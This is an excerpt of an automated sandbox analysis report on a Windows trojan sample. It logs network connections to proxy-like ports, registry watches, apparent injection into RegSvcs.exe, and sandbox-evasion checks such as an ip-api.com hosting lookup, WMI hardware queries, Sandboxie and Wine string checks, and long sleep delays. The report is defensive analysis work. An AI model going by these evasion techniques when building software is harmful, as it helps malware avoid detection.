Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 51572
Source: unknown	Network traffic detected: HTTP traffic on port 51740 -> 60870
Source: unknown	Network traffic detected: HTTP traffic on port 51673 -> 2020
Source: unknown	Network traffic detected: HTTP traffic on port 51379 -> 56560
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 51754 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51669 -> 10800
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 48606
Source: unknown	Network traffic detected: HTTP traffic on port 51665 -> 61700
Source: unknown	Network traffic detected: HTTP traffic on port 51757 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 30007 -> 51296
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 11 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51801 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 30026
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 42147
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 51227
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 51569 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51355 -> 25859
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 8879
Source: unknown	Network traffic detected: HTTP traffic on port 51813 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 20283
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51505
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51843 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51830 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51845 -> 40280
Source: unknown	Network traffic detected: HTTP traffic on port 4006 -> 51643
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 15777
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 65100
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 15758
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 51686
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51800 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51496 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51824 -> 8118

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory allocated: 194C4740000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory allocated: 194DE230000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Window / User API: threadDelayed 3948	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Window / User API: threadDelayed 3131	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3083	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6455	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99852s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -98700s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99541s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99420s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe TID: 5548	Thread sleep time: -99281s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99852	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99733	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99188	Jump to behavior
